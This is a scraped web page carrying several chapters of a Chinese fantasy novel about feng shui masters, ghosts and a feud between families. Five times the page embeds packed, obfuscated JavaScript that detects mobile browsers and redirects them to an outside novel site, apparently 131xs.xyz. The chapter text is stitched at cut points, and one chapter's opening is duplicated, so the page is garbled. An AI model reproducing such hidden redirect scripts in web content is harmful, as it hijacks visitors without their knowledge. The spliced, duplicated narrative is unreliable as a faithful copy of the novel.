;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557619|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “咦,怎么少了个人?”苟驹狐疑的问了句。 葛俊没吭声,他腾地一下,直挺挺跪在地上,冲着我爸的病房磕了三个头。 “我错了,请你们大人不记小人过,放我一马!” 葛俊这话,是咬着牙说的,他声音都在发抖。 我爸和爷爷相觑一眼,两人都有些不自在。 “也不是你撞的我吧?我隐隐约约记得……” “的确不是他,不过主导的是他。”徐湘灵在一旁解释。 我爸和爷爷少接触风水术,不懂那么多细节。 徐湘灵解释后,他们差不多听明白了。 我爸没吭声,只是看我一眼,那眼神,明显是告诉我,我说了算。 我一样没有看葛俊,而是看葛明悠和葛姗,摇头说:“不行。” “你!"葛俊猛地抬头,眼珠子都发红。 “陈棺生,欺人太甚了!” “你算什么东西,有什么本事?仗着老陈家的法器而已,风水,你根本对我做不了什么!无非是法器反煞了我!无非是你老陈家还有个鬼!” 葛俊言辞很锐利,脸上充满了不服。 我默了片刻,才说:“我的确没想过,要请什么援兵,我就是单纯算计你,不过,我有后台,你还不服气,你就是想**?” “行,你继续不服吧,你可以回去等**。” 本身我就说了,那老先生得来,得许诺他不会出手伤我爸和爷爷,只来了葛俊,我肯定是不能撤掉龟甲的。 暗中有个陈瞰山,那老先生一样不敢轻举妄动。 我这番话,让葛俊脸色更变。 “啧啧,你这小子,骨头和嘴巴,都比上次硬多了嘛。”苟驹看热闹不嫌事儿大,揶揄说了句:“自己找的事儿,让你家老的来擦屁股,老的不肯来,你还不肯服软,你这么硬朗,不知道**火化炉能不能烧的了。” 葛俊死死的盯着苟驹,他还想开口。 “还嫌不够丢人么!?”另一个略微发哑的话音响起,这声音很老,脚步声很弱,随后,一个杵着拐的老人,从病房外另一侧走出。 他穿着唐装,有拐杖,倒是腰背笔挺,只是,他的确很老了。 这就是当初训斥过我的老先生。 他居然真来了,还在外等待? 第172章 啥都不懂 我本以为,他没有来,更不会来。 毕竟,我的要求对于葛家来说,足够算得上让葛家颜面扫地,不光是让葛俊下跪,老话说打狗看主人,葛俊不是狗,他是葛家老先生的徒弟,更是葛家人。 只不过,葛俊欺人太甚,葛家能算得上一句,管教不周? 子不教,父之过,教不严,师之惰! 那葛家跟着一起丢人,就理所因当。 那老先生冷眼看着葛俊,并未抬头看我。 “啧,老的来了,你怎么安静,不叫唤了?”苟驹的话音更为揶揄,调侃之色更浓。 葛俊满脸通红,他一言不发了。 至此,那老先生抬头看了我一眼,面色分外平静。 “陈棺生,可以停止你的手段了吧?” 我隐隐约约,瞧见老先生的额顶,同样带着些许血色,是血光之灾的预兆。 默不作声,我走到了龟甲前头。 龟甲上,隐隐瞧见血光。 能看出来,又有人动手了一次。 是谁,已然呼之欲出。 我没有侥幸,是彻底确定,陈瞰山动手了,他必然护住了法器,或者是护住了风水,就相当于,他护住了我爷爷和我爸。 葛家,不足为惧! “等等小陈,怎么就要撤风水了,糟老头子,你该说什么,还没说呢。”苟驹喊了一声。 其实,这话说不说,意义都不大了。 葛家肯定是做不了什么,否则陈瞰山不会放过他们。 不过,对于苟驹来说,面子这两个字很重要,让那老先生多说一句话,就相当于更踩了葛家一头,踩葛俊一头。 “葛家不会以任何形式,做有损陈家安全的事情,若违此誓,风水反噬。”那老先生面色不变,语气很平静。 我将龟甲取下来,贴身放好。 这一霎,葛俊两颧的黑气,人中的青气,居然肉眼可见的散了。 不过他身上的味道还是冲鼻。 他只是被龟甲反煞这一件事情被解开。 不代表他身上的其余麻烦消失。 “你死不了了,这里的风水不会继续反煞你,不过,还有些麻烦,你自行解决吧。” “不送。” 最后两个字,我看向了那老先生。 葛俊颤巍巍的站起身来。 他想走,转身却没走掉,因为那老先生还是静静站在门前。 “陈棺生,我提醒你一句,有本事的人,往往更内敛,你如果太锋芒毕露,我葛家即便不会将你怎么样,你却总会遇到更厉害的对头,那就不确保后果如何了。” “况且,你的本事并不过硬,凭借了法器之利。”老先生开口说。 我蹙眉,正要开口。 苟驹抬起手来,手掌上托,一副无奈至极的神色:“听听,听听,这像是人话吗?还以为老东西你至少懂点儿事儿呢,什么叫内敛?被你们欺辱的抬不起头来,不报复,就是内敛了?” “允许州官放火?不让百姓点灯?真说锋芒毕露,你还是管好你这个徒弟吧,他倒是挺张扬的,这一身的屎味儿,太上头了,对了,小心你这徒弟惹到更厉害的仇家,到时候把你葛家全都害死吧。” “哦,我差点儿没反应过来,你说的其实和你徒弟差不多,你两根源上,一样差不多。” 骂人,还得是苟驹,没怎么带脏字儿,话依旧难听刺耳。 那老先生冷哼了一声,转身杵着拐杖,叮叮当当的离开了。 葛俊和葛姗随后,葛家主反倒是走在最后。 “葛家还是端的起也放得下,堂堂家主,堂堂坐镇先生,说来道歉就道歉,说来许诺,就许诺了。”徐湘灵喃喃。 “所以就说了,女人,头发长见识短,你这妮子,让小陈试试没有什么后台,看今儿个,葛家是让他**?两次请他上门,是葛家想要尽量保留颜面,小陈去了,也相当于怕了葛家,就算是葛家吃亏,也无所谓了,至少面子在。” “你以为,他们真知道错了?他们是怕自己被弄**。” 苟驹翻了个白眼。 不过,他这不算是骂人,反而有几分训导意味,让徐湘灵清醒一些。 我爸倒还好,一直瞄着床上的箱子。 那里边儿都是钱。 爷爷的脸色一直微红,他情绪很高亢,显得很激动。 不过,最终爷爷什么都没有说,只是化作了一声长叹。 “这样一来,就的确没什么大事儿了。” 我稍稍松了口气,才道:“爸,我请个护工给你,我要去帮苟叔和徐姑娘办事儿。” “哪儿浪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557620|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 费那个钱,我没事,不是还有护士呢吗?你爷爷在这儿已经好得很了。” 我爸赶紧摇头。 “棺生出息了,缺了你钱用?没长进!”爷爷瞪了我爸一眼,他反倒是开明多了。 “爸……这……”我爸一脸尴尬,不自然的看着爷爷。 “我去找护士联系。”徐湘灵深吸一口气,她这才往外走去。 其实这会儿天色已经很晚很晚了。 月亮爬山夜空,星与月华同时洒落在窗内,刚好照射在我爸身上。 白天的第一缕阳光,夜晚的第一缕月华星光。 不光是医院给我爸治伤,无形之中,风水汇聚的生气,会让他康复的更快,甚至是运气会更好。 等徐湘灵回来期间,我捡起了放在屋子各个角落的铜钱。 苟驹则坐到了我爸的病床旁,和他聊天,意思是等我爸出院了,两人搞点台子,不醉不归。 我爸听见喝酒,自然是高兴。 随后,他又说了句:“苟老哥,到时候我出院了,在你这里找到活路做?游泳我会,打捞尸体,也要得,没得啥好怕的。” 苟驹愣了下。 我都吓了一跳。 感情先前我爸说要找苟驹,是这个找? “陈哥你莫开玩笑了噻,哈哈,这一行,哪有你想的那么容易?脑壳挂在裤腰带上的干活儿,就算我答应你,小陈能点头?” 苟驹说着,摆了摆手,又道:“我晓得,你是闲不住对吧?真想做点儿事儿,看见了没,葛家送来的钱,就在那里,撞你的人,还要赔偿一小笔,拿去做点生意不香?你又不是那么缺钱,拼啥子命?养好身体,等以后带孙子不好吗?” 苟驹这话,让我爸一下子怔愣住了,还挠了挠头。 他说:“是哦,是这么子的道理。” 我松了口气。 我爸是个固执的人,没想到苟驹这一劝,直接就管用了? “棺生,我和你讲,你要记到起,人家小徐这两天对我和你爷爷都好得不得了,你莫好生给人家办事,不然我要撅你。”我爸认真的很。 方言里头,撅就是骂的意思。 我笑了笑,说:“爸你放心。” “我放心就对了,你娃娃,啥都不懂。”我爸直摇头,反而让我不明所以。 第174章 我见你一面不容易啊!说什么不要去河边!? 我如实和苟驹说了,那天同徐湘灵来葛家时,途经破天心水江域时瞧见的人影。 “是这样啊,我以为多大事儿呢,天沧江那么大,谁想往哪儿走就往哪儿走,只不过就那地方,先生不敢去罢了,之前小灵不是带你去吗?那会儿她可不知道会被鬼上身,要知道了,肯定也不敢去了。” “你要不说那鬼娃娃和你讲的叮嘱,我也不会怕,该去还是要去。” “你觉得有人刻意过去要做什么,我看,应该是想太多,应该是江边本身的问题,而并非鬼娃娃提醒你那个人有问题。” “退一万步说,那江边田好几十亩,到了季节还天天有人过去种地,天天从那儿引水呢。” 苟驹一番话,倒的确是条理有据。 真是我太过谨慎了吗? 见风就是雨,见人就觉得有问题? 再看一眼徐湘灵,她微微点头。 苟驹和徐湘灵都这么看,那应该就是这么回事儿了。 显而易见,若江边出现人,那必然这件事情还和某一方有关,那一方无论好坏,苟驹和徐湘灵都必然会知道才对。 至此,我心下松缓多了。 少一方变数,事情就会多几分把握。 只不过,我依旧保留着那一丝警惕,毕竟,小心驶得万年船。 一个多小时,船靠岸,徐湘灵下船,遥看百多米外有个村口,这地方距离破天心水江域很近,距离徐湘灵的住处一样很近。 我没有跟着徐湘灵去打听,苟驹则撑船,朝着徐湘灵家去了。 经过那段江域的时候,苟驹还在远远眺望,明显是很想过去,最后又忍住。 不多时,我们回到了徐湘灵家外的那条狭小河道中。 停船,苟驹嘴里碎碎念了几句,径直朝着院子走去。 我跟上去。 要去那江域探查,得等徐湘灵探问出来一个结果之后。 若是能晓得那小男孩儿是谁,或许就能有更多的线索,或许就能知道江边有什么危险。 总之,事情要一步一个脚印。 时间尚早,才九点多钟,初阳更为明媚灼目了。 苟驹进了院子后,又径直去客厅沙发上一屁股坐下,他点了眼,嘴里哼哼着,打开电视看。 我没别的事儿可做,干脆找了张小马扎,坐在阳光下晒着,刺目温暖,驱散身上的寒意,随后我摸出来神相千壳,继续读里边儿的内容。 神相千壳要复杂太多,我随时能办点事儿看着点面相,倒也算活学活用,对这本书的理解变得更深,更高了。 一晃眼,到中午了。 徐湘灵回来了,提着几个饭盒,一袋子卤肉。 早上的饭食消化不少,人还真饿了。 随着徐湘灵放下饭菜,苟驹打着哈欠从沙发上站起来,问:“咋样了小灵,那鬼娃娃事情打听出来了?哪家倒霉催的**娃娃?还找上我?哪家人认识我?” 苟驹问题是一连串。 我其实看出来了,徐湘灵一无所获。 果然,她摇摇头道:“最近这条江边没有死过人,更没有认识你的人家死过娃娃。” “那就见了鬼了,扯淡呢不是?”苟驹明显是情绪不好,没好话。 “小陈,那就只能这么整了,兵来将挡,水来土掩。”话语间,苟驹看向我。 他的耐心明显没有早上那般好。 人说什么做什么,和事情本身程度相关。 在别的地方,不介入这件事儿,苟驹忍得住,苟驹能说大道理。 到了江边,到了徐湘灵家里,距离他亡妻尸身就只有十几分钟路程,他忍不住。 其实,我也并没有寄太大希望徐湘灵能找来多少线索。事情往往需要往更困难的角度去考虑。有线索肯定会更好,没有线索,也不会再糟糕了。 “兵来将挡,水来土掩,先去看看情况。”思绪间,我接上了苟驹的话。 苟驹的脸色顿好看起来。 “吃了去,错开正午那个时间点,本身破天心水风水局就能见鬼,正午大阴,鬼更凶三分。”我再度开口,和苟驹微微点头。 苟驹没吭声,他点了根烟,猛吸一口,直接吸到了烟蒂上,开始嗬嗬的咳嗽起来,显得格外难受。 徐湘灵抿了抿唇,去将吃食放了下来。 饭盒打开了,好几道炒菜,卤肉肥瘦相间,米饭是那种沥米饭,香味很浓郁。 “姐夫,心急吃不了热豆腐,保证自己精力充沛吧,我其实和你一样着急。”徐湘灵开口,劝说一句。 苟驹还是没多言,坐下来,大筷夹菜,大口吃肉,大口扒饭。 我吃的一样很多。 白姝灵太不知疲累了…… 今晚上她要还是那么整,我就得揣着一张符睡觉。 不然的话,人受不了啊。 很快,一餐饭罢了。 阳光更大,更明媚,墙上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15564568|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挂钟,刚好全部指在十二点的位置。 正午大阴,阳极朝着极阴转变。 偏偏这时,乌云压顶,前一瞬还明媚的天色,这一瞬变得阴风大作。 惊雷声轰隆炸响。 敲门声咣当咣当响个不停。 “操!” 苟驹是被吓了一跳。 “娘希匹,谁呢?” 雷声就吓人了,这种白日雷太突然,往往夏天才有。 敲门声太巧合,苟驹本来心情就一般,怪不得他动怒。 “白天的话,可能是村里出事儿,有人来找我,我去看看。”徐湘灵语速飞快,要起身往院门口走。 我动作更快,骤然站起身来,一把抓住徐湘灵胳膊。 微微摇头,我另一手已经摸出来仕金盘,指针飞速的转动着,形成了转针! 下雨了。 好大的雨。 乌云压顶,白日打雷,大雨倾盆,都只是在半分钟时间内发生! 院外有鬼! 不是因为鬼出现,导致天象变化,就是恰巧这会天色变化,鬼恰好来了! 门,吱呀一声开了。 我本以为门外会站着一个小男孩儿,可没想到,门外居然站着一个女人。 这女人和徐湘灵有五六分相似,皮肤更白皙,模样更温柔,二十几岁的年纪,就有一种知性的美感。 徐湘灵呆住了,眼泪夺眶而下。 苟驹呆住了,下一秒,他猛地拔腿,朝着院门口冲去! “徐莹!”他声音格外大,几乎震破了嗓子! 他声音格外颤,几乎带着哭腔! 他的脚步更重,发出沉闷声响。 “不要去河边,不要去河边,不要去河边!” 徐莹的嘴巴不停的动着,那薄薄两片唇开合不断。 不要去河边那句话,至少念了得有二三十遍! 苟驹冲到门前那一瞬,徐莹却消失不见! 雨,好大,形成了一道断线珠帘。 天,好黑,乌云太重,真就像是瞬间天黑了一样。 苟驹呃啊一声痛苦大吼,跪倒在地上,是跪倒在徐莹先前的位置处,他嚎啕大哭起来! “我见你一面不容易啊!” “你说什么不要去河边!” “我想你回家啊!” “婆娘,我想你回家!” 好大个男人,却哭得像是个孩子一般无助。 第174章 我见你一面不容易啊!说什么不要去河边!? 我如实和苟驹说了,那天同徐湘灵来葛家时,途经破天心水江域时瞧见的人影。 “是这样啊,我以为多大事儿呢,天沧江那么大,谁想往哪儿走就往哪儿走,只不过就那地方,先生不敢去罢了,之前小灵不是带你去吗?那会儿她可不知道会被鬼上身,要知道了,肯定也不敢去了。” “你要不说那鬼娃娃和你讲的叮嘱,我也不会怕,该去还是要去。” “你觉得有人刻意过去要做什么,我看,应该是想太多,应该是江边本身的问题,而并非鬼娃娃提醒你那个人有问题。” “退一万步说,那江边田好几十亩,到了季节还天天有人过去种地,天天从那儿引水呢。” 苟驹一番话,倒的确是条理有据。 真是我太过谨慎了吗? 见风就是雨,见人就觉得有问题? 再看一眼徐湘灵,她微微点头。 苟驹和徐湘灵都这么看,那应该就是这么回事儿了。 显而易见,若江边出现人,那必然这件事情还和某一方有关,那一方无论好坏,苟驹和徐湘灵都必然会知道才对。 至此,我心下松缓多了。 少一方变数,事情就会多几分把握。 只不过,我依旧保留着那一丝警惕,毕竟,小心驶得万年船。 一个多小时,船靠岸,徐湘灵下船,遥看百多米外有个村口,这地方距离破天心水江域很近,距离徐湘灵的住处一样很近。 我没有跟着徐湘灵去打听,苟驹则撑船,朝着徐湘灵家去了。 经过那段江域的时候,苟驹还在远远眺望,明显是很想过去,最后又忍住。 不多时,我们回到了徐湘灵家外的那条狭小河道中。 停船,苟驹嘴里碎碎念了几句,径直朝着院子走去。 我跟上去。 要去那江域探查,得等徐湘灵探问出来一个结果之后。 若是能晓得那小男孩儿是谁,或许就能有更多的线索,或许就能知道江边有什么危险。 总之,事情要一步一个脚印。 时间尚早,才九点多钟,初阳更为明媚灼目了。 苟驹进了院子后,又径直去客厅沙发上一屁股坐下,他点了眼,嘴里哼哼着,打开电视看。 我没别的事儿可做,干脆找了张小马扎,坐在阳光下晒着,刺目温暖,驱散身上的寒意,随后我摸出来神相千壳,继续读里边儿的内容。 神相千壳要复杂太多,我随时能办点事儿看着点面相,倒也算活学活用,对这本书的理解变得更深,更高了。 一晃眼,到中午了。 徐湘灵回来了,提着几个饭盒,一袋子卤肉。 早上的饭食消化不少,人还真饿了。 随着徐湘灵放下饭菜,苟驹打着哈欠从沙发上站起来,问:“咋样了小灵,那鬼娃娃事情打听出来了?哪家倒霉催的**娃娃?还找上我?哪家人认识我?” 苟驹问题是一连串。 我其实看出来了,徐湘灵一无所获。 果然,她摇摇头道:“最近这条江边没有死过人,更没有认识你的人家死过娃娃。” “那就见了鬼了,扯淡呢不是?”苟驹明显是情绪不好,没好话。 “小陈,那就只能这么整了,兵来将挡,水来土掩。”话语间,苟驹看向我。 他的耐心明显没有早上那般好。 人说什么做什么,和事情本身程度相关。 在别的地方,不介入这件事儿,苟驹忍得住,苟驹能说大道理。 到了江边,到了徐湘灵家里,距离他亡妻尸身就只有十几分钟路程,他忍不住。 其实,我也并没有寄太大希望徐湘灵能找来多少线索。事情往往需要往更困难的角度去考虑。有线索肯定会更好,没有线索,也不会再糟糕了。 “兵来将挡,水来土掩,先去看看情况。”思绪间,我接上了苟驹的话。 苟驹的脸色顿好看起来。 “吃了去,错开正午那个时间点,本身破天心水风水局就能见鬼,正午大阴,鬼更凶三分。”我再度开口,和苟驹微微点头。 苟驹没吭声,他点了根烟,猛吸一口,直接吸到了烟蒂上,开始嗬嗬的咳嗽起来,显得格外难受。 徐湘灵抿了抿唇,去将吃食放了下来。 饭盒打开了,好几道炒菜,卤肉肥瘦相间,米饭是那种沥米饭,香味很浓郁。 “姐夫,心急吃不了热豆腐,保证自己精力充沛吧,我其实和你一样着急。”徐湘灵开口,劝说一句。 苟驹还是没多言,坐下来,大筷夹菜,大口吃肉,大口扒饭。 我吃的一样很多。 白姝灵太不知疲累了…… 今晚上她要还是那么整,我就得揣着一张符睡觉。 不然的话,人受不了啊。 很快,一餐饭罢了。 阳光更大,更明媚,墙上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15564568|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 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一个鬼来了不够,要来两个鬼!? 徐莹,明显是不想看见苟驹的。 否则这些年,她明明能出现,能回家,她自己都没回去。 否则,前一刻,她至少应该和苟驹说一句话,安抚苟驹,让苟驹不要那么崩溃。 她还是没有,她还是走了…… “河边!” “走!小陈!马上去河边!” 苟驹猛地站起身来,他神态显得十分狰狞,大吼出声! “苟叔,这里边儿,肯定有问题!” “河边有问题!” “来一个小鬼,不重要,来了个和你至关重要的人提醒,那就不要去河边!” “我们得弄清楚,到底哪儿有问题!” “不能知死**啊!” 我接连几句话,是强行抑制住内心不适,强行让自己冷静镇定。 苟驹眼珠子瞪得更大,还要再开口,这一瞬,他却戛然无声,眼皮微微抽搐着,眼中透着一丝惊恐。 徐湘灵的哭声一样止住了,她颤巍巍的看着院门,呆呆的说了句:“姐姐从来没有回来过我家,她也是上一次,唯一一次回门,我觉得,她一直认为自己对不起家人,对不起姐夫,可实际上,错的不是她,她是真的承受不住才选择**,其实,错的也不算是姐夫,姐夫被人捉住了软肋,姐夫想要钱。错的应该是那家人。” “结果,现在受苦的却是姐姐,受煎熬的却是我们。” “姐姐现在回来,就真的代表河边不安全了,我们真的不能去……可到底是怎么一回事儿,到底……” 徐湘灵还在颤巍巍的说着。 我脸色再度骤变,一字一句,眼神愈发惊疑! “那……家……人!?” “那家人,是哪家人!?”我语气更重,本来我先前就是抓住徐湘灵的胳膊,一用力,就拉着徐湘灵往我近前趔趄两步。 反应过来,我又赶紧松开了手,眼中带着一丝歉意。 徐湘灵没有注意那么多细节,她脸上多了几分怨毒和恨。 “钱家!” 两个字,又重又狠。 “不过,钱家早就搬走了,当年姐姐出事儿,钱家没多久就消失无踪,彻底离开了内沧市。” 徐湘灵眼中闪过一抹不甘。 可以见得,如果钱家还在这里,徐湘灵和苟驹都必然会去报复! “问题,不就来了吗?” “钱家,就是事情的变数!” 这两句话,我分外果断,分外笃定! 徐湘灵一下子愣住。 苟驹蹬蹬蹬几步路回到了堂屋内。 雨还是很大,让他身上都被淋得湿透。 “钱家是变数?他们敢回来,老子一刀一个,剁死他们全家!”苟驹声音如雷贯耳。 “苟叔,冷静,就算那天在胡家,也只是震慑别人,你真能**?别说报仇了,你自个儿都得蹲进去吃**。” 我摇摇头,神色极度冷静。 “那小孩儿来提醒我们,不要去河边。” “次日离开的时候,我就瞧见岸边有个男人。” “其实,如果是普通人也就罢了,苟叔你也说过,每天有很多人会经过江边,这很正常,可细节上的不正常,就是当我们发现他的时候,他应该发现了我们的船,很快,他就消失不见,有那么巧合吗?” “其次,今天,我们下午要去河边,正午大阴,婶子就来通知,要知道,**的执念是很重的,既然你们都认为婶子是因为**,没有脸面回来见你们,那大概率就是那样,一个人有一个人的看法,不谋而合的,必然是事实本质。” “还有,为什么婶子之前会反常的回门?她一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568312|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没回来过,那是否她感受到了什么不适?” “这钱家,真的一直在外,就真的一直没有回来过吗?!” “还是说,钱家已经回来了,正在做某件事情,想要带走当年他们家那个女尸,在婶子腹中借体还魂那个女鬼!” 我这一番话,分析了眼下所有信息。 得出来了一个结论! “钱家,回来了!” “我们去过一次河边,出了事,那女鬼异样的凶,和钱家有关!” “钱家发现我们去过河边,因此,布局更大!” “因此,那个小男孩儿可能是钱家的对头,或者被钱家害死的人,因此苟叔你和徐姑娘都找不到线索。” “我们不能去河边!” 这最后一番话,我更加的掷地有声,更加的言之凿凿! 噌的一声轻响,苟驹**了两把刀! 他的眼眶,红得欲噬人。 “冷静,苟叔,你要冷静!” 我去抓住苟驹的一条胳膊。 苟驹颤巍巍的,他闭上眼,半晌,手发抖的将刀插回去。 我稍稍松了口气。 “冷静……是要冷静……钱家不简单……是不简单的……神婆就不好对付了,我日他们仙人板板,非盯着老子一家人整?非要把老子……逼死,逼到绝路不成!?” 苟驹是想冷静,可还是很难冷静。 我没吭声,眼皮一直在微跳。 神婆这两个字眼,我很熟悉了,徐湘灵先前讲过。 钱家利用神婆算计苟驹,这才让那女鬼成功借尸还魂。 还有,当年的苟驹也不算弱了,还是被打断一条胳膊,可以见得,钱家绝对不好对付。 要知道,现在的苟驹都不将葛家放在眼里。 相对而论,钱家肯定更难缠。 手指轻轻在桌面上敲击,声响密集。 我蹙眉,闭眼,是绞尽脑汁,在想应对之法。 敌在暗,我们在明,这绝非好事…… 能变换过来,变成我们在暗,让敌在明吗? 念头浮现起来的瞬间,我心头猛跳,朝着苟驹伸手,哑声说:“苟叔,用一下你的刀!” 第176章 山人自有妙计 苟驹将一把卜刀递给了我,我往前两步,走到院内,蹲身在地。 雨来得快,去得也快,此刻已经停了。 我脑海中在回忆,回忆天沧江流域。 我先用刀在地上刻出来了两横,中间划出波纹状的痕迹,这就是江水。 再在其中一处位置往下拉出两道竖线,中间填上波纹,竖线尾端画上一个三角,这是苟驹家。 竖线中段旁边,我再画上一个三角,这就是徐湘灵家。 这样一来,我划出的这个图案,形成了T的形状,徐湘灵家在T字中间,苟驹家在末端,我再点出一个位置,画出来一棵树。 那位置,就是破天心水。 我本意是在想,用什么方式,让那个钱家和我们调换一下位置,不要我们在明敌在暗,这图,却让我脸色微微一变。 我死死盯着属于苟驹家的那个位置,脸色一时间变得分外难看。 T字的末端,正对着苟驹家。 我记得清清楚楚,当时水流愈来愈小,都窄的像是一条小水沟了,一直停在了苟驹家的院门正前方。 就是支流没有汇入其他水流,导致这河沟没有扩展开来。 这风水,有问题! 有大问题! 一条直路直冲家门,或者是一条水直冲家门,是宅凶中的大凶之局,即便没有人死,都属于凶宅,还是属于先天凶宅! 无论是砂山或者江河,都是龙。 砂山是阳龙,江河为阴龙,龙,便带气。 气随龙而动,笔直便是箭。 若房屋处于箭头之处,哪怕这口气是好气,是生气,都没有人能承受住这口气的贯穿! 便形成了煞! 穿心煞! 苟驹家居然修在穿心煞的位置! 正正好好,大门正对煞位! 这穿心煞的影响就太多太重,气直来直往,财便不得聚,人的脾气便暴虐,家庭不和,口舌是非更是家常便饭。 无形之中,苟驹一直白费钱,找不到合适的先生,一来应了破天心水风水局,二来不就是和这穿心煞吻合? 苟驹的脾气并不算好,只是对我来说不错,对其他人来说,可以说是十足十的臭脾气了。 徐湘灵和他之间动不动就是唇枪舌剑,更无形中吻合了风水。 这一来,苟驹身上不但背着阴宅风水的恶劣,还顶着一个阳宅风水的凶煞。 他还能活到今天,真算是夹缝中生存,更算是命硬…… “苟叔,回头把你家那老宅拆了吧,风水太差,你们遭遇这些不幸,多少和那宅子也有些关联。”我微嘘一口气说。 苟驹愣了一瞬,点了点头,倒没有多说其他。 我收起其余思绪,一时间,还是只能看出来,钱家想要那个女鬼。 用另一个角度去看,其实那女鬼已经占据了苟驹女儿的身体,变相来说,就是苟驹的女儿了? 只不过这个转世投胎没有经过阴冥地府,是自行借体还魂。 本质上来说,就是苟驹女儿。 这样一来,好像就方便了一些? 他们要那女鬼,要带走女鬼,就相当于带走苟驹女儿…… 要让他们浮现出水面,就要让他们棘手…… 他们能主动去破天心水风水局,应该就是有某种把握! 不光是把握,甚至还能伤到苟驹性命! 因此,徐莹才会来通风报信! “他们中间,有个阴阳先生,即便不是,也必然有个精通风水的先生,并且,他们已经有本事将尸体弄上来了。”我喃喃开口。 “钱家?”徐湘灵面色微惊。 “那还能是哪家?”苟驹愈发的咬牙切齿。 “他们要女鬼,就是要把苟叔你女儿带走,这件事情,哪儿有那么容易?我有办法了,他们不是喜欢算计人吗?就让他们试试,机关算尽不但一场空,还要被反噬!”我沉声再道。 苟驹听我说他女儿,脸色虽然不太好看,但他亦然没有多言其他,没有反驳我。 “走了苟叔。”我站起身来,脚在地上蹭了蹭,把我画下来的痕迹全抹掉了。 本意我是想画出来此间风水,看看能不能改改风水,去针对一下钱家。 没有想到合适的办法,反而阴差阳错发现苟驹家的风水问题, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568313|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办法恰好而生。 开始,苟驹以为我要带他去江边,他还挺高兴。 出门之后,我径直走向他家的方向,他还有几分闷闷不乐,都等到了他家门前后,他才忍不住问我,怎么是来这儿?拆房子不是回头的事情吗? 我摇摇头,说:“山人自有妙计。” 苟驹再一次不作声了。 推门进了院内。 满是落叶的院子,给人一种脏兮兮的感觉。 撇去外在风水穿心龙的影响,这宅子的确是个好宅,至少没有什么问题。 我当时还认为这里没有宅凶。 再之后,听到苟驹哭,又听到徐湘灵哭,跟着徐湘灵去了破天心水,我就没有想起来再看苟驹家外的风水,之后一连串出了不少事情,更让我无暇顾及。 否则我早该看出来这里穿心龙的问题了。 “苟叔,你和徐姑娘等会去一趟村里,买回来香烛纸钱,买回来三牲祭品,大三牲要猪头牛头羊头,全部要带血带皮**的,小三牲要鸡鸭鱼,全部要活物。” “今夜给婶子上供,让她吃好喝好。” 顿了顿,我再道:“你先把这里打扫干净吧,然后才能出门,天黑前还要回来,徐姑娘和你一起打扫,你们要喊婶子的名字,喊她今晚回来看看,不要总是过家门而不入。” 